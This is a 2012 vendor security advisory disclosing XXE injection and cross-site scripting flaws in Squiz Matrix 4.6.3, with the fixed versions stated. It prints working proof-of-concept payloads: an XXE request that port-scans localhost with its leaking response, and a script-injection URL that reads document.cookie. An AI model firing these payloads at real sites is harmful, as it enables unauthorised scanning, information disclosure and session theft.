	Authorisation. Jason Edelstein
	Release date. 14 June 2012.

Sense of Security – Security Advisory – SOS-12-007.

Squiz Matrix – Multiple Vulnerabilities.

14 June 2012.

Squiz Matrix Multiple Vulnerabilities - Security Advisory - SOS-12-007

Release Date.	14-Jun-2012
Last Update.	-
Vendor Notification Date.	02-Apr-2012
Product.	Squiz Matrix
Platform.	Independent
Affected versions.	4.6.3 (verified) and possibly others
Severity Rating.	Medium
Impact.	Exposure of session information Exposure of system information Exposure of network information Denial of Service
Attack Vector.	Remote unauthenticated (XXE); remote authenticated (XSS)
Solution Status.	Patched in version 4.6.5 and 4.8.1 releases (not verified by SOS)
CVE reference.	CVE - not yet assigned

The web application is vulnerable to multiple security vulnerabilities, such as XML eXternal Entities (XXE) injection and Cross-Site Scripting (XSS).

1. XXE Injection:

XXE injection allows a wide range of XML based attacks, including local file disclosure, TCP port scans and a Denial of Service (DoS) condition, which can be achieved by recursive entity injection, attribute blow up and other types of injection.

The following resource accessible by an unauthenticated user is vulnerable:

/_admin/?SQ_ACTION=asset_map_request/

Proof of Concept (port scanning).

Request:

```
POST /_admin/?SQ_ACTION=asset_map_request HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
User-Agent: Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_02
Host: xxxxxx.com
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Proxy-Connection: keep-alive
Content-Length: 84
Connection: close

<!DOCTYPE scan [<!ENTITY test SYSTEM "http://localhost:22">]>
<scan>&test;</scan>
```

Response:

```
HTTP/1.0 200 OK
Date: Tue, 27 Mar 2012 06:13:26 GMT
Server: Apache
Set-Cookie: SQ_SYSTEM_SESSION=472r0gjvcn0aqqsgbt7b42fi15; domain=xxxxxxx.xxx; path=/;
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 214
Content-Type: text/xml
Connection: keep-alive
```

```
<error>simplexml_load_file(http://localhost:22) [function.simplexml-
load-file]: failed to open stream: HTTP request failed! SSH-
2.0-OpenSSH_4.3

File: [SYSTEM_ROOT]/core/lib/asset_map/asset_map.inc
Line:581</error>
```

2. XSS:

Cross-Site Scripting (XSS) may be used to steal session information, etc.

Several resources of the /_admin page are affected including:

am_section parameter, assetid parameter, sq_asset_path parameter, sq_backend_log_type parameter, sq_link_path parameter, asset_ei_screen parameter, current_assetid parameter and tool_reindex_reindexing_root_assetid [assetid] parameter.

Proof of Concept.

```
/_admin/?SQ_BACKEND_PAGE=main&backend_section=am&am_section=ed
it_asset"><script>alert(document.cookie)</script>&assetid=73&s
q_asset_path=%2C1%2C73&sq_link_path=%2C0%2C74&asset_ei_screen=
details
```

Solution.

Upgrade to version 4.6.5 or 4.8.1 releases.

Discovered by.

Nadeem Salim from Sense of Security Labs.

About us.

Sense of Security is a leading provider of information security and risk management solutions. Our team has expert skills in assessment and assurance, strategy and architecture, and deployment through to ongoing management. We are Australia's premier application penetration testing firm and trusted IT security advisor to many of the country's largest organisations.

	Authorisation. Jason Edelstein
	Release date. 14 June 2012.

Sense of Security Pty Ltd

Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:

http://www.senseofsecurity.com.au/advisories/SOS-12-007.pdf

Other Sense of Security advisories can be found at:

http://www.senseofsecurity.com.au/research/it-security-advisories.php